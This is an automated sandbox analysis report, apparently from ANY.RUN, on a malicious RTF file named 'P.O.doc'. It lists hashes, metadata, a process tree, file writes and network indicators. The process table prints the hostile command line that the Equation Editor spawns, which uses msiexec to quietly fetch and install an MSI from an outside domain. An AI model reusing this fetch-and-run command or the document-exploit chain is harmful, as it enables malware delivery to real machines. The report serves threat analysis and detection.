File name: | P.O.doc |
Full analysis: | https://app.any.run/tasks/6c5bf1f5-3533-4a10-bf2b-9db95961bdbb |
Verdict: | Malicious activity |
Analysis date: | April 25, 2019, 13:11:01 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | 4DD9AE1ECADF5B7CF680351EF049B544 |
SHA1: | 53EBD2A057A53D29229D4CB3184A32E94613F26D |
SHA256: | 7DAFC6EB679A53B5DFCE3A285335A2A385CF2B8D386D3029B18E4BB820BB1F4E |
SSDEEP: | 6144:n1Jqf6RUjMPbhK6o51AMYMAJ8lFsTQ4pzhBwE9qqrdWrIhctPcsCk:ui/PdDHM2GKTpzceQIhctGk |
.rtf | | | Rich Text Format (100) |
---|
Author: | obidah qudah |
---|---|
LastModifiedBy: | BINGHERO |
CreateDate: | 2018:01:23 22:18:00 |
ModifyDate: | 2018:04:22 21:24:00 |
RevisionNumber: | 19 |
TotalEditTime: | 25 minutes |
Pages: | 1 |
Words: | 107 |
Characters: | 616 |
CharactersWithSpaces: | 722 |
InternalVersionNumber: | 57433 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2552 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\P.O.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2904 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
2052 | cmd.exe & /C CD C: & msiexec.exe /i http://www.schutbewindvoering.nl/images/ernesto.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2728 | msiexec.exe /i http://www.schutbewindvoering.nl/images/ernesto.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
3376 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
2336 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR63CD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{12C0AFE5-B1B6-4532-946F-EBC434143CFF}.tmp | — | |
MD5:— | SHA256:— | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{300BFEF4-91C6-4A9A-99CC-F2C5430229BB}.tmp | — | |
MD5:— | SHA256:— | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{72696CF4-F8B8-47CC-B987-F10812A964E4}.tmp | — | |
MD5:— | SHA256:— | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:211BB6F02A35F551A7B1091A71160E26 | SHA256:6D94A31997C84EB454CC976BB1285B60485D82DCF7AEA0ED9EA113D48EA5FBC6 | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{72AD57E8-D176-4ECE-BC8E-F2A2D0FF0C55}.tmp | binary | |
MD5:663B61AA8D33055BBFA6A26619BB0308 | SHA256:F6E66A98E33BA84680A35CED9EBFDDAEA68E3D1C95FF60B033DCD790025E862D | |||
2552 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$.O.doc.rtf | pgc | |
MD5:354F76F2DB5B1146973E51374014FF6E | SHA256:9A0D2794F324AAAEE5A07095676638CBFFD0F7E603CB8C90222136C123ECC3C6 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3376 | msiexec.exe | GET | 503 | 46.30.213.1:80 | http://www.schutbewindvoering.nl/images/ernesto.msi | DK | text | 65 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3376 | msiexec.exe | 46.30.213.1:80 | www.schutbewindvoering.nl | One.com A/S | DK | suspicious |
Domain | IP | Reputation |
---|---|---|
www.schutbewindvoering.nl |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3376 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |